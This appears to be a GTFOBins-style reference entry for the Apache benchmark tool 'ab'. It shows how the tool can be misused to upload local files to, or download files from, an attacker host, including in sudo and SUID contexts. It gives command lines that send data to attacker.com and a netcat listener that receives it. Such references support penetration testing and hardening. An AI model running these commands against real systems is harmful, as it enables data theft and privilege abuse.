.. / ab

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• Upload
• Download

Upload

This executable can upload local data.

• Unprivileged

  This function can be performed by any unprivileged user.

  ab -p /path/to/input-file http://attacker.com/

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  ab -p /path/to/input-file http://attacker.com/

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  ab -p /path/to/input-file http://attacker.com/

  Receiver

  An HTTP server can be used on the attacker box to receive the data.

  nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file

Download

This executable can download remote data.

• Unprivileged

  This function can be performed by any unprivileged user.

  ab -v2 http://attacker.com/path/to/input-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  ab -v2 http://attacker.com/path/to/input-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  ab -v2 http://attacker.com/path/to/input-file

  Sender

  An HTTP server can be used on the attacker box to send the data.

  python -m http.server 80

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